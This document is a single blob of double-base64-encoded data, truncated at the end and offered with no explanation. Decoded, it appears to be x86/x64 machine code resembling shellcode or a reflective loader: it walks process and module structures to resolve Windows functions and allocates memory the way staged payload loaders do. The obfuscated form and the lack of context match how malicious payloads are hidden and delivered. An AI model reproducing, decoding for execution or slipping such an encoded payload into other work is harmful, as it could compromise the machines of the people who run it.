SXRWR0V5TlFoQklpMVVRVEkyS2pBUUFBRWlMVlJoSWkwb0lUSW5LLzlDSlJmeUxSZnhJZzhRd1hjTlZTSW5sU0lQc0lFaUpUUkJJaVZVWVRJbEZJRWlEZlNBQWRRcTRBMEFBZ09tUkFBQUFTSXRGRUVpTFFDaElqWWo4QXdBQVNJdEZHRUc0RUFBQUFFaUp3dWpVRFFBQWhjQjBTa2lMUlJCSWkwQW9TSTJJREFRQUFFaUxSUmhCdUJBQUFBQklpY0xvcncwQUFJWEFkQ1ZJaTBVUVNJdEFLRWlOaUl3RUFBQklpMFVZUWJnUUFBQUFTSW5DNklvTkFBQ0Z3SFVTU0l0RklFaUxWUkJJaVJDNEFBQUFBT3NRU0l0RklFakhBQUFBQUFDNEFrQUFnRWlEeENCZHcxVklpZVZJZyt3UVNJbE5FRWlMUlJCSWc4QWdTSWxGK0VpTFJmaTZBUUFBQVBBUHdSQklpMFVRaTBBZ1NJUEVFRjNEVlVpSjVVaUQ3QkJJaVUwUVNJdEZFRWlEd0NCSWlVWHdTSXRWOExnQkFBQUE5OWlKd1luSThBL0JBZ0hJaVVYOGkwWDhTSVBFRUYzRFZVaUo1VWlKVFJCSWlWVVlTSU45R0FCMUI3Z0RRQUNBNnc5SWkwVVl4d0FCQUFBQXVBQUFBQUJkdzFWSWllVklnK3dnU0lsTkVJbFZHRVNKUlNCTWlVMG9TSU45S0FCMUI3Z0RRQUNBNnpCSWkwVVFTSXRBRUVpTEFFaUxRQWhJaTFVUVNJdFNFRWlKMGYvUVNJdEZFRWlMVUJCSWkwVW9TSWtRdUFBQUFBQklnOFFnWGNOVlNJbmxTSVBzSUVpSlRSQklpVlVZVElsRklFU0pUU2hJaTBVUVNJdEFFRWlMQUVpTFFGQklpMVVRU0l0S0VFeUxUVGhFaTBVb1NJdFZJUC9RU0lQRUlGM0RWVWlKNVVpRDdHQklpVTBRaVZVWVRJbEZJRVNKVFNpTFJUQm1pVVhzU0l0RkVFaUxRQkJJaXdCSWkwQllSQSszVGV4SWkxVVFTSXRLRUVTTFJSaElpMVZRU0lsVUpEaElpMVZJU0lsVUpEQklpMVZBU0lsVUpDaElpMVU0U0lsVUpDQklpMVVRLzlDSlJmeUxSZnhJZzhSZ1hjTlZTSW5sU0lsTkVFaUpWUmk0QUFBQUFGM0RWVWlKNVVpSlRSQklpVlVZdUFGQUFJQmR3MVZJaWVWSWlVMFFTSWxWR0xnQlFBQ0FYY05WU0lubFNJbE5FRWlKVlJpNEFVQUFnRjNEVlVpSjVVaUpUUkJJaVZVWXVBRkFBSUJkdzFWSWllVklpVTBRaWRCbWlVVVl1QUZBQUlCZHcxVklpZVZJZyt3Z1NJbE5FSWxWR0VpTFJSQklpMEFZU0lzQVNJdEFjRWlMVlJCSWkwb1lRYmtBQUFBQVFiZ0FBQUFBdXYzLy8vLy8wTGdBQUFBQVNJUEVJRjNEVlVpSjVVaUpUUkJJaVZVWXVBRkFBSUJkdzFWSWllVklpVTBRU0lsVkdMZ0JRQUNBWGNOVlNJbmxTSWxORUVpSlZSaTRBVUFBZ0YzRFZVaUo1VWlKVFJCSWlWVVl1QUZBQUlCZHcxVklpZVZJaVUwUVNJbFZHTGdCUUFDQVhjTlZTSW5sU0lsTkVFaUpWUmk0QVVBQWdGM0RWVWlKNVVpSlRSQ0pWUmk0QVVBQWdGM0RWVWlKNVVpSlRSQklpVlVZVElsRklFeUpUU2k0QVVBQWdGM0RWVWlKNVVpSlRSQklpVlVZdUFGQUFJQmR3MVZJaWVWSWlVMFFTSWxWR0V5SlJTQk1pVTBvdUFGQUFJQmR3MVZJaWVWSWlVMFFTSWxWR0xnQlFBQ0FYY05WU0lubFNJUHNJRWlKVFJDSlZSaElpMFVRU0l0QUtFaUxRR2lMVlJpSjBmL1F1QUFBQUFCSWc4UWdYY05WU0lubFNJbE5FRWlKVlJoTWlVVWd1QUZBQUlCZHcxVklpZVZJaVUwUVNJbFZHTGdCUUFDQVhjTlZTSW5sU0lsTkVFaUpWUmk0QVVBQWdGM0RWVWlKNVVpSlRSQklpVlVZdUFGQUFJQmR3MVZJZ2V4Z0FnQUFTSTJzSklBQUFBQklpWTN3QVFBQVNJbVYrQUVBQUV5SmhRQUNBQUJNaVkwSUFnQUFTTWVGMEFFQUFBQUFBQUJJaTRYNEFRQUFTSW1GeUFFQUFFaUxoY2dCQUFDTFFEeElZOUJJaTRYNEFRQUFTQUhRU0ltRndBRUFBRWlMaGNBQkFBQklCWWdBQUFCSWlZVzRBUUFBU0l1RnVBRUFBSXNBaVlXMEFRQUFnNzIwQVFBQUFIVUt1QUFBQUFEcG5BTUFBSXVWdEFFQUFFaUxoZmdCQUFCSUFkQklpWVdvQVFBQVNJdUZxQUVBQUl0QUdJbUYyQUVBQUlPOTJBRUFBQUIxQ3JnQUFBQUE2V0lEQUFCSWk0V29BUUFBaTBBY2ljSklpNFg0QVFBQVNBSFFTSW1Gb0FFQUFFaUxoYWdCQUFDTFFDQ0p3a2lMaGZnQkFBQklBZEJJaVlXWUFRQUFTSXVGcUFFQUFJdEFKSW5DU0l1RitBRUFBRWdCMEVpSmhaQUJBQUJJaTRXb0FRQUFpMEFNaWNKSWk0WDRBUUFBU0FIUVNJbUZpQUVBQU1lRjNBRUFBQUFBQUFEcktZdVYzQUVBQUVpTGhZZ0JBQUJJQWRBUHRnQ0R5Q0NKd291RjNBRUFBSWhVQldDRGhkd0JBQUFCaTVYY0FRQUFTSXVGaUFFQUFFZ0IwQSsyQUlUQWRjQ0xoZHdCQUFER1JBVmdBRWlMbFFnQ0FBQklqVVZnU0luQjZCMEpBQUJJaVlXQUFRQUFpNFhZQVFBQWcrZ0JpY0JJalJTRkFBQUFBRWlMaFpnQkFBQklBZENMQUluQ1NJdUYrQUVBQUVnQjBFaUpoWGdCQUFCSWk1VUlBZ0FBU0l1RmVBRUFBRWlKd2VqT0NBQUFTRE9GZ0FFQUFFZzdoUUFDQUFBUGhmd0JBQUNMaGRnQkFBQ0Q2QUdKd0VpTkZBQklpNFdRQVFBQVNBSFFEN2NBRDdmQVNJMFVoUUFBQUFCSWk0V2dBUUFBU0FIUWl3Q0p3a2lMaGZnQkFBQklBZEJJaVlYUUFRQUFTSXVGMEFFQUFFZzdoYWdCQUFBUGdwa0JBQUJJaTRXNEFRQUFpMEFFaWNKSWk0V29BUUFBU0FIUVNEdUYwQUVBQUErR2RnRUFBRWlMaGRBQkFBQklpWVZ3QVFBQXg0WGNBUUFBQUFBQUFPczdpNVhjQVFBQVNJdUZjQUVBQUVnQjBBKzJFSXVGM0FFQUFJaFVCU0NMbGR3QkFBQklpNFZ3QVFBQVNBSFFEN1lBUEM1MEtZT0YzQUVBQUFHTGxkd0JBQUJJaTRWd0FRQUFTQUhRRDdZQWhNQjBESU85M0FFQUFEdDJwZXNCa0l1RjNBRUFBSVBBQVluQXhrUUZJR1NMaGR3QkFBQ0R3QUtKd01aRUJTQnNpNFhjQVFBQWc4QURpY0RHUkFVZ2JJdUYzQUVBQUlQQUJJbkF4a1FGSUFDTGhkd0JBQUNEd0FHSndFZ0JoWEFCQUFESGhkd0JBQUFBQUFBQTZ5U0xsZHdCQUFCSWk0VndBUUFBU0FIUUQ3WVFpNFhjQVFBQWlGUUZvSU9GM0FFQUFBR0xsZHdCQUFCSWk0VndBUUFBU0FIUUQ3WUFoTUIwQ1lPOTNBRUFBSDUydkl1RjNBRUFBTVpFQmFBQVNJdUY4QUVBQUVpTFFEQklqVlVnU0luUi85QklpWVZvQVFBQVNJTzlhQUVBQUFCMElVaUxoZkFCQUFCSWkwQTRTSTFWb0VpTGpXZ0JBQUQvMEVpSmhkQUJBQURyQzBqSGhkQUJBQUFBQUFBQVNJdUYwQUVBQU9zbGc2M1lBUUFBQVlPOTJBRUFBQUIwRGtpRHZkQUJBQUFBRDRTSy9mLy9TSXVGMEFFQUFFaUJ4R0FDQUFCZHcxVklpZVZJZyt4UVNJbE5FRWlKVlJoTWlVVWdTTWRGOEFBQUFBREhSZHhnQUFBQWkwWGNaVWlMQUVpSlJkQklpMFhRU0lsRjZFaUxSZWhJaTBBWVNJbEY0RWlMUmVCSWkwQVFTSWxGK09zeFNJdEYrRWlMUURCSWkwMGdTSXRWR0VtSnlVbUowRWlKd2tpTFRSRG9VUHYvLzBpSlJmQklpMFg0U0lzQVNJbEYrRWlMUmZoSWkwQXdTSVhBZEFkSWczM3dBSFM3U0l0RjhFaUR4RkJkdzFWSWllVklpVTBRU0lsVkdFU0pSU0JNaVUwb1NJdEZPTWNBQUFBQUFMZ0FBQUFBWGNOVlNJbmxpVTBRaVZVWWkwVVFENjlGR0YzRFZVaUo1VWlKVFJCSWlWVVlUSWxGSUV5SlRTaElpMFV3eHdBQUFBQUF1QUFBQUFCZHcxVklpZVdKVFJDSlZSaUxWUkNMUlJnQjBGM0RWVWlKNVVpRDdFQklpVTBRU0l0RkVFaUxRREJJaTFVUVNJSENPQU1BQUVpSjBmL1FTSWxGK0VpRGZmZ0FkUXE0QVFBQUFPbG5BUUFBU0l0RkVFaUxRRGhJaTFVUVNJSENyQU1BQUVpTFRmai8wRWlKUmZCSWczM3dBSFVLdUFBQUFBRHBPUUVBQUVpTkZVYi8vLzlJalFVYS8vLy9TQ25DU0luUWlVWHNpMFhzaGNCNUNyZ0FBQUFBNlJFQkFBQklpMFVRU0l0QVlJdFY3RXlOUmVoSWkwM3dUWW5CUWJoQUFBQUEvOUNGd0hVS3VBQUFBQURwNVFBQUFJdFY3RWlMUmZCSmlkQklqUlhEL3YvL1NJbkI2Q2NEQUFCSWkwVVFTSXRBWUVTTFJlaUxWZXhNalUza1NJdE44UC9RU0l0RkVFaUxRRGhJaTFVUVNJSEN2QU1BQUVpTFRmai8wRWlKUmZCSWczM3dBSFVLdUFBQUFBRHBoUUFBQUVpTkZjcisvLzlJalFXZS92Ly9TQ25DU0luUWlVWHNpMFhzaGNCNUI3Z0FBQUFBNjJCSWkwVVFTSXRBWUl0VjdFeU5SZWhJaTAzd1RZbkJRYmhBQUFBQS85Q0Z3SFVIdUFBQUFBRHJONHRWN0VpTFJmQkppZEJJalJWTi92Ly9TSW5CNkhrQ0FBQklpMFVRU0l0QVlFU0xSZWlMVmV4TWpVM2tTSXROOFAvUXVBRUFBQUJJZzhSQVhjTlZTSW5sU0lsTkVFaUpWUmhNaVVVZ1JJbE5LRWlMUlNESEFBRUFBQUM0QUFBQUFGM0RWVWlKNVlsTkVJbFZHSXRGRUN0RkdGM0RWVWlKNVVpSlRSQklpVlVZUklsRklMZ0FBQUFBWGNOVlNJbmxpVTBRaVZVWWkwVVFtZmQ5R0YzRFZVaUo1VWlEN0VCSWlVMFFTSXRGRUVpTFFEQklpMVVRU0lIQ1RBTUFBRWlKMGYvUVNJbEYrRWlEZmZnQWRRcTRBUUFBQU9sbkFRQUFTSXRGRUVpTFFEaElpMVVRU0lIQ1hBTUFBRWlMVGZqLzBFaUpSZkJJZzMzd0FIVUt1QUFBQUFEcE9RRUFBRWlORlgvLy8vOUlqUVZoLy8vL1NDbkNTSW5RaVVYc2kwWHNoY0I1Q3JnQUFBQUE2UkVCQUFCSWkwVVFTSXRBWUl0VjdFeU5SZWhJaTAzd1RZbkJRYmhBQUFBQS85Q0Z3SFVLdUFBQUFBRHA1UUFBQUl0VjdFaUxSZkJKaWRCSWpSVUsvLy8vU0luQjZDQUJBQUJJaTBVUVNJdEFZRVNMUmVpTFZleE1qVTNrU0l0TjhQL1FTSXRGRUVpTFFEaElpMVVRU0lIQ2ZBTUFBRWlMVGZqLzBFaUpSZkJJZzMzd0FIVUt1QUFBQUFEcGhRQUFBRWlORmFMKy8vOUlqUVYyL3YvL1NDbkNTSW5RaVVYc2kwWHNoY0I1QjdnQUFBQUE2MkJJaTBVUVNJdEFZSXRWN0V5TlJlaElpMDN3VFluQlFiaEFBQUFBLzlDRndIVUh1QUFBQUFEck40dFY3RWlMUmZCSmlkQklqUlVsL3YvL1NJbkI2SElBQUFCSWkwVVFTSXRBWUVTTFJlaUxWZXhNalUza1NJdE44UC9RdUFFQUFBQklnOFJBWGNPUWtKQ1FrSkJWU0lubFNJUHNFRWlKVFJDSlZSaE1pVVVnU0l0RkVFaUpSZmpyRUl0RkdJbkNTSXRGK0lnUVNJTkYrQUZJaTBVZ1NJMVEvMGlKVlNCSWhjQjEzMGlMUlJCSWc4UVFYY05WU0lubFNJUHNFRWlKVFJCSWlWVVlUSWxGSUVpTFJSQklpVVg0U0l0RkdFaUpSZkRyRjBpTFJmQVB0aEJJaTBYNGlCQklnMFg0QVVpRFJmQUJTSXRGSUVpTlVQOUlpVlVnU0lYQWRkaElpMFVRU0lQRUVGM0RWVlpUU0lubFNJbE5JRWlKVlNoTWlVVXdTSXRkSUVpTGRTanJPRWlKMkVpTldBRVB0aEJJaWZCSWpYQUJEN1lBT01KMElFaU5RLzhQdGhCSWpVYi9EN1lBT01KekI3ai8vLy8vNngyNEFRQUFBT3NXU0l0Rk1FaU5VUDlJaVZVd1NJWEFkYmU0QUFBQUFGdGVYY09Ra0ZWSWllVklnK3d3U0lsTkVFaUpWUmhJaTBVWVNJbEYyTWRGL0FBQUFBRHJINHRGL0VpTkZJVUFBQUFBU0l0RkVFZ0IwSXNRaTBYOGlWU0Y0SU5GL0FHRGZmd0RkdHZIUmZ3QUFBQUE2MTZMUmRqQnlBaUp3b3RGM0FIQ2kwWGdNZENKUmRpTFJkekJ3QU9Kd290RjJESFFpVVhjaTBYc2lVWDRpMFhrd2NnSWljS0xSZUFCMERORi9JbEY3SXRGNE1IQUE0bkNpMFhzTWRDSlJlQ0xSZWlKUmVTTFJmaUpSZWlEUmZ3QmczMzhHbmFjU0l0RjJFaUR4REJkdzFWSWllVklnK3hRU0lsTkVFaUpWUmhJaTBVUVNJbEY0RWlMUlJoSWlVWDR4MFh3QUFBQUFNZEY5QUFBQUFESFJld0FBQUFBNmNrQUFBQ0xWZlJJaTBYZ1NBSFFEN1lBaE1CMEJvTjk5RUIxYzdnUUFBQUFLMFh3aWNGSWpWWFFpMFh3U0FIUVNZbkl1Z0FBQUFCSWljSG92djMvLzR0RjhNWkVCZENBZzMzd0MzWXJTSXRWK0VpTlJkQklpY0hvc1A3Ly8wZ3hSZmhJalVYUVFiZ1FBQUFBdWdBQUFBQklpY0hvaGYzLy80dEY5TUhnQTRsRjNNZEY4QkFBQUFDRFJld0I2eDZMVmZSSWkwWGdTQUhRRDdZQWljS0xSZkNJVkFYUWcwWHdBWU5GOUFHRGZmQVFkUnRJaTFYNFNJMUYwRWlKd2VoTC92Ly9TREZGK01kRjhBQUFBQUNEZmV3QUQ0UXQvLy8vU0l0RitFaUR4RkJkdzVDUWtKQ1FrSkNRa0pDUWtGVklpZVZJZyt3Z1NJbE5FRWlKVlJoSWkwVVlTSWxGOEVpTFJSQklpVVhveDBYOEFBQUFBT3RDaTBYOFNJMFVoUUFBQUFCSWkwWHdTQUhRaTFYOFNJME1sUUFBQUFCSWkxWHdTQUhLaXdxTFZmeE1qUVNWQUFBQUFFaUxWZWhNQWNLTEVqSEtpUkNEUmZ3QmczMzhBM2E0eDBYOEFBQUFBT2tjQVFBQVNJdEY4SXNRU0l0RjhFaUR3QVNMQUFIQ1NJdEY4SWtRU0l0RjhFaU5VQVJJaTBYd1NJUEFCSXNBd2NBRmljRklpMFh3aXdBeHlJa0NTSXRGOEVpRHdBaElpMVh3U0lQQ0NJc0tTSXRWOEVpRHdneUxFZ0hLaVJCSWkwWHdTSVBBREVpTFZmQklnOElNaXhLSjBjSEJDRWlMVmZCSWc4SUlpeEl4eW9rUVNJdEY4RWlEd0FoSWkxWHdTSVBDQ0lzS1NJdFY4RWlEd2dTTEVnSEtpUkJJaTBYd2l3REJ3QkNKd2tpTFJmQklnOEFNaXdBQndraUxSZkNKRUVpTFJmQklqVkFNU0l0RjhFaUR3QXlMQU1IQURZbkJTSXRGOElzQU1jaUpBa2lMUmZCSWc4QUVTSXRWOEVpRHdnU0xFb25Sd2NFSFNJdFY4RWlEd2dpTEVqSEtpUkJJaTBYd1NJUEFDRWlMVmZCSWc4SUlpeExCd2hDSkVJTkYvQUdEZmZ3UEQ0YmEvdi8veDBYOEFBQUFBT3RDaTBYOFNJMFVoUUFBQUFCSWkwWHdTQUhRaTFYOFNJME1sUUFBQUFCSWkxWHdTQUhLaXdxTFZmeE1qUVNWQUFBQUFFaUxWZWhNQWNLTEVqSEtpUkNEUmZ3QmczMzhBM2E0a0VpRHhDQmR3MVZJaWVWSWcreFFTSWxORUVpSlZSaE1pVVVnVElsTktFaUxSU0JJaVVYNFNJdEZHRWlKUmVqcDFBQUFBTWRGOUFBQUFBRHJIWXRGOUVoajBFaUxSZWhJQWRBUHRoQ0xSZlJJbUloVUJkQ0RSZlFCZzMzMEQzN2RTSTFGMEVpSndraUxUUkRvblAzLy83Z1FBQUFBU0lOOUtCQklEMFpGS0lsRjVNZEY5QUFBQUFEckw0dEY5RWhqMEVpTFJmaElBY0tMUmZSSVk4aElpMFg0U0FISUQ3WUlpMFgwU0pnUHRrUUYwREhJaUFLRFJmUUJpMFgwTzBYa2ZNbUxSZVJJbUVncFJTaUxSZVJJbUVnQlJmakhSZlFRQUFBQTZ5V0xSZlJJbUVpTlVQOUlpMFhvU0FIUUQ3WVFnOElCaUJBUHRnQ0V3SFFDNndxRGJmUUJnMzMwQUgvVlNJTjlLQUFQaFNILy8vK1FTSVBFVUYzRGtKRC8vLy8vLy8vLy93QUFBQUFBQUFBQS8vLy8vLy8vLy84QUFBQUFBQUFBQUZwUlVvUHNJRk5WVmxlTGZDUTAvM2NzLzNjby8zZE0vM2RJVitqUkdnQUEvM2NzaS9EL2R5ai9kMVQvZDFCWDZMMGFBQUNEeENpTDJJbGNKRFNGOWcrRUZRSUFBSVhiRDRRTkFnQUFhZ1JvQURBQUFQODNhZ0QvMW92d2hmWVBoUFlCQUFEL04xZFc2QmNkQUFCcUlJMUVKQ0JxQUZEb0xSMEFBSXNHamE0d0FnQUFMVEFDQUFCUVZZMUdGRkNOUmdSUTZPd2JBQUQvZGl5TmhoZ0dBQUQvZGloUTZMVWFBQUNEeERRN2hoZ0hBQUFQaFU4QkFBQTdsaHdIQUFBUGhVTUJBQUQvZGl6L2Rpai9kalQvZGpCVzZCc2FBQUNEeEJTSlJqQ0Z3QStFZGdFQUFEUC9PYjQwQWdBQWRoYU5uamdDQUFCVC8xWXdSNFBESUR1K05BSUFBSEx3TTl0RE9WMEFkalNOYmpTTmZqai9kaXovZGlqL2R3VC9OMWJvemhrQUFJUEVGSWxGQUlYQUQ0VFNBQUFBUTRQSENJUEZCRHVlTUFJQUFITFNpNFlNQlFBQWFnSmJPOE4xRlZib0tRVUFBRm1Gd0ErRXB3QUFBSXVHREFVQUFJMitTQWNBQUlQNEFYUUNpeitEdmtBREFBQUJkQ1pXNkRJREFBQlpoY0IxQ0RtZVFBTUFBSFI0VnVnRkJBQUFXWVhBZFFnNW5rQURBQUIwWllNL0EzUlpnejhFZEZTRFB3RjBJemtmZEIrRFB3VjBFb00vQm5RTmd6OEhkVU5XNk9VWEFBRHJPbGJvVEJZQUFPc3lqVVFrRUZCVzZPY01BQUJaV1lYQWRBMk5SQ1FRVUZibzRRNEFBRmxaalVRa0VGQlc2RjBJQUFCWjZ3Wlc2SkVSQUFCWmkxd2tOSU8rREFVQUFBSy9BTUFBQUhVdWk0WklCd0FBaGNCMEpQKzJRQWNBQUdvQVVPaDdHd0FBZzhRTVYyb0EvN1pJQndBQS8xWkFnNlpJQndBQUFQODJhZ0JXNkZzYkFBQ0R4QXhYYWdCVy85TXp3T3NEZzhqL1gxNWRXNFBFSU1PTFJDUUVnOEFFOFA4QWl3RENCQUF6d01JSUFGV0w3UFpGRUFKV2kzVUlWM1FWaTMwWWhmOTBHNHRHRkZDTENQOVJCSXRHRklrSDlrVVFBWFFaaTMwVWhmOTFCN2dEUUFDQTZ3MkR4Z3hXaXdiL1VBU0pOelBBWDE1ZHdoUUFpMFFrQkl0QUtQOVFWSXRNSkFpSkFUUEF3Z2dBVmxmb0NCZ0FBSXQwSkJDNUV4UkFBTC9rS2tBQUs4OER5SXNHaVFqbzdSY0FBTGxpRWtBQUs4OER5SXNHaVVnRTZOb1hBQUM1Y2hSQUFDdlBBOGlMQm9sSUNPakhGd0FBdWNBU1FBQXJ6d1BJaXdhSlNBem90QmNBQUxsMkVrQUFLODhEeUlzR2lVZ1E2S0VYQUFDNWNSSkFBQ3ZQQThpTEJvbElGT2lPRndBQXVRNFVRQUFyendQSWl3YUpTQmpvZXhjQUFMbHhFa0FBSzg4RHlJc0dpVWdjNkdnWEFBQzV3eE5BQUN2UEE4aUxCb2xJSU9oVkZ3QUF1YjRUUUFBcnp3UElpd2FKU0NUb1FoY0FBTG0rRTBBQUs4OER5SXNHWDRsSUtJdEVKQWlEWmdRQWlVWW9Yc016d01JRUFGV0w3SVBzTERQQVZtb2dVSWxGOUlsRitJbEYvSTFGMUZEb3hCa0FBSXQxREkxTjFJUEVESXNHVVZiL1VBeUZ3SFVTaXdhTlRmeFJqVTM0VVkxTjlGRlcvMUFRTThCZXljSUlBRFBBd2d3QWkwd2tESVhKZFFlNEEwQUFnT3ROVTR0Y0pBd3owbGFMZENRTVY0dCtLSXVFbC93REFBQTdCSk4xQ0VLRCtnUjE3dXNVTTlLTGhKZXNCQUFBT3dTVGRSQkNnL29FZGU2Sk1mRC9SZ1F6d09zSWd5RUF1QUpBQUlCZlhsdkNEQUNMVENRRWc4ai84QS9CUVFSSXdnUUFpMFFrR0lNZ0FEUEF3aGdBaTBRa0JBK3ZSQ1FJdzR0RUpCU0RJQUF6d01JVUFJdEVKQVFEUkNRSXcxRlRWb3QwSkJDTmhqZ0RBQUJRLzFZd2k5aUYyM1VHUU9uRkFBQUFWVmVOaHF3REFBQlFVLzlXTkl2b2hlMFBoS29BQUFDL2poUkFBSUh2Z2hSQUFBK0ltUUFBQUkxRUpCaFFha0JYVmY5V1NJWEFENFNGQUFBQVYrallGUUFBdVlJVVFBQ0I2ZVFxUUFBRHdWQlY2R0VZQUFDRHhBeU5SQ1FRVVA5MEpCeFhWZjlXU0kyR3ZBTUFBRkJULzFZMGkraUY3WFJKdjZRVVFBQzdtQlJBQUN2N2VEdU5SQ1FZVUdwQVYxWC9Wa2lGd0hRclYraCtGUUFBZ2V2a0trQUFBOE5RVmVnTUdBQUFnOFFNalVRa0VGRC9kQ1FjVjFYL1ZrZ3p3RURyQWpQQVgxMWVXMW5EVVZOV2kzUWtFSTJHVEFNQUFGRC9WakNMMklYYmRRWkE2Y1VBQUFCVlY0MkdYQU1BQUZCVC8xWTBpK2lGN1ErRXFnQUFBTC9hS2tBQWdlOE9GRUFBRDRpWkFBQUFqVVFrR0ZCcVFGZFYvMVpJaGNBUGhJVUFBQUJYNlBJVUFBQzVEaFJBQUlIcDVDcEFBQVBCVUZYb2V4Y0FBSVBFREkxRUpCQlEvM1FrSEZkVi8xWklqWVo4QXdBQVVGUC9WalNMNklYdGRFbS8wU3BBQUx2Q0trQUFLL3Q0TzQxRUpCaFFha0JYVmY5V1NJWEFkQ3RYNkpnVUFBQ0I2K1FxUUFBRHcxQlY2Q1lYQUFDRHhBeU5SQ1FRVVA5MEpCeFhWZjlXU0RQQVFPc0NNOEJmWFY1YldjT0I3RmdDQUFCVFZsZHFQRjh6OW8xRUpDaFhWbENKZENRZ3V3QUNZSVRvQ1JjQUFJMUVKSENKZkNRMGk3d2tkQUlBQUlQRURJbEVKRGlOaENSa0FRQUFpVVFrVkxnQUFRQUFpVVFrUElsRUpGaU5SQ1FvVUdnQUFBQVFWbzJIRUFVQUFGRC9WM3lGd0ErRXRBRUFBRFBBZzN3a05BUldWZytVd0ZhSlJDUWN1QUF5NElSV1ZnOUUyUCtYZ0FBQUFJdklpVXdrSklYSkQ0U0ZBUUFBT1hRa0VMcTdBUUFBVmxacUExWldhbEJZRDBYQ0Q3ZkFVSTFFSkh4UVVmK1hoQUFBQUl2SWlVd2tJSVhKRDRUN0FBQUFWVlpUVmxaV2pZUWtmQUVBQUZDTmh4QUdBQUJRVWYrWGxBQUFBSXZvaGUwUGhNb0FBQUE1ZENRVWRDRDN3d0FRQUFCMEdHb0VqVVFrSU1kRUpDQ0FNd0FBVUdvZlZmK1hpQUFBQUZaV1ZsWlYvNWVZQUFBQWhjQVBoSW9BQUFCV2pVUWtGTWRFSkJRRUFBQUFVSTFFSkNCUWFCTUFBQ0JWLzVlY0FBQUFoY0IwWjRGOEpCaklBQUFBZFYxV2pVUWtGTWRFSkJRRUFBQUFVSTJmUUFjQUFGTm9CUUFBSUZXSk00bHpCUCtYbkFBQUFJWEFkRE9MQXd0REJIUXNhZ1JvQURBQUFQOHpWdjlYUEltSFNBY0FBSVhBZEJXTlRDUWdpWFFrSUZIL00xQlYvNWVNQUFBQWkvQlYvNWVRQUFBQS8zUWtKUCtYa0FBQUFGMy9kQ1FrLzVlUUFBQUFoZlowUmYrM1FBY0FBSXVmU0FjQUFJMkhNQWNBQUZOUWpZY2dCd0FBVU9nT0ZBQUEvM2NzalljWUJnQUEvM2NvVU9qWEVnQUFnOFFjTzRNSUdRQUFkUXc3a3d3WkFBQjFCSXZHNndJendGOWVXNEhFV0FJQUFNT0I3TndCQUFCVFZWYUx0Q1R3QVFBQVY0dHVQSXRFTG5pRndBK0U1UUFBQUkwOE1JdGZHSVhiRDRUWEFBQUFpMGNjTTlJRHhvbFVKQkNKUkNRa2kwY2dBOGFKUkNRVWkwY2tBOGFKUkNRZ2kwY01BOGFLQ0lUSmRDcUxkQ1FRalpRazZBQUFBQ3ZRZ01rZ1JvZ01Ba0NLQ0lUSmRmS0pkQ1FRaTdRazlBRUFBSXRVSkJEL3RDUUVBZ0FBallRazdBQUFBTWFFRk93QUFBQUEvN1FrQkFJQUFGRG9EUklBQUlsRUpDU0R4QXlMUkNRVWc4RDhpVlFrSEkwRW1JbEVKQkQvdENRRUFnQUFpd2ovdENRRUFnQUFBODVSNk53UkFBQXpSQ1FrZzhRTU0xUWtIRHVFSlBnQkFBQjFDVHVVSlB3QkFBQjBIWXRFSkJDRDZBU0pSQ1FRZytzQmRic3p3RjllWFZ1QnhOd0JBQUREaTBRa0lJdE1KQ1FQdDBSWS9vc01nUVBPTzg5eWZZdEVMbndEeHp2SWMzTXowamdSZEI2TmZDUW9pL0VyK1lQNlBITVJpZ2FJQkRlQVBpNTBCMEpHZ0Q0QWRlckhSQlFwWkd4c0FFSUR5alBTT0JGMEY0MTBKR2dyOFlQNmYzTU1pZ0ZDaUFRT1FZQTVBSFh2aTdRazhBRUFBSTFFSkNoUXhrUVViQUQvVmpDRndIUU5qVXdrYUZGUS8xWTBpOGpyQWpQSmk4SHBXLy8vLzFhTGRDUU1WelAvaTA0WWhjbDBDWXNCVWY5UUNJbCtHSXRPSElYSmRBbUxBVkgvVUFpSmZoeUxUaFNGeVhRSml3RlIvMUFJaVg0VWkwNFFoY2wwQ1lzQlVmOVFDSWwrRUl0T0RJWEpkQW1MQVZIL1VBaUpmZ3lMVGdpRnlYUVNpd0ZSLzFBc2kwWUlVSXNJLzFFSWlYNElpMDRFaGNsMENZc0JVZjlRQ0lsK0JJc09oY2wwQ0lzQlVmOVFDSWsrWDE3RGkwUWtCSVBBRVBEL0FJc0F3Z1FBdUFGQUFJRENEQUM0QVVBQWdNSVFBTGdCUUFDQXdnZ0FpMFFrQlA5MEpCai9kQ1FVaTBBSS8zUWtGRkNMQ1A5UktNSVlBTGdCUUFDQXdoUUFWNHQ4SkJTRi8zVUh1QU5BQUlEckZsYUxkQ1FNaTBZSVVJc0kvMUVFaTBZSWlRY3p3RjVmd2hBQWkwUWtDSVhBZFFlNEEwQUFnT3NJeHdBQkFBQUFNOERDQ0FCVmkrei9kU2lMUlFqL2RTVC9kU0NMU0FqL2RSei9kUmlMRWY5MURGQlIvMUlzWGNJa0FGTldWK2hDRHdBQWkzUWtGTGtUSGtBQXYrUXFRQUFyendQSWl3YUpDT2duRHdBQXVlVWFRQUFyendQSWl3YUpTQVRvRkE4QUFMbWNIa0FBSzg4RHlJc0dpVWdJNkFFUEFBQzVXaHRBQUN2UEE4aUxCb2xJRE9qdURnQUF1VEFiUUFBcnp3UElpd2FKU0JEbzJ3NEFBTGtNRzBBQUs4OER5SXNHaVVnVTZNZ09BQUM1ZEJ0QUFDdlBBOGlMQm9sSUdPaTFEZ0FBdVhFU1FBQXJ6d1BJaXdhSlNCem9vZzRBQUxrRUcwQUFLODhEeUlzR2lVZ2c2SThPQUFDNUJCdEFBQ3ZQQThpTEJvbElKT2g4RGdBQXVRUWJRQUFyendQSWl3YUpTQ2pvYVE0QUFMa0VHMEFBSzg4RHlJc0dpVWdzNkZZT0FBQzVCQnRBQUN2UEE4aUxCb2xJTU9oRERnQUF1WVFlUUFBcnp3UElpd2FKU0RUb01BNEFBTGtFRzBBQUs4OER5SXNHaVVnNDZCME9BQUM1QkJ0QUFDdlBBOGlMQm9sSVBPZ0tEZ0FBdVFRYlFBQXJ6d1BJaXdhSlNFRG85dzBBQUxrRUcwQUFLODhEeUlzR2lVaEU2T1FOQUFDNUJCdEFBQ3ZQQThpTEJvbElTT2pSRFFBQXVRUWJRQUFyendQSWl3YUpTRXpvdmcwQUFMa0VHMEFBSzg4RHlJc0dpVWhRNktzTkFBQzUvQnBBQUN2UEE4aUxCb2xJVk9pWURRQUF1UVFiUUFBcnp3UElpd2FKU0Zqb2hRMEFBTGtvRzBBQUs4OER5SXNHaVVoYzZISU5BQUM1QkJ0QUFDdlBBOGlMQm9sSVlPaGZEUUFBdWF3ZVFBQXJ6d1BJaXdhSlNHVG9UQTBBQUxuMEdrQUFLODhEeUlzR2lVaG82RGtOQUFDNUJ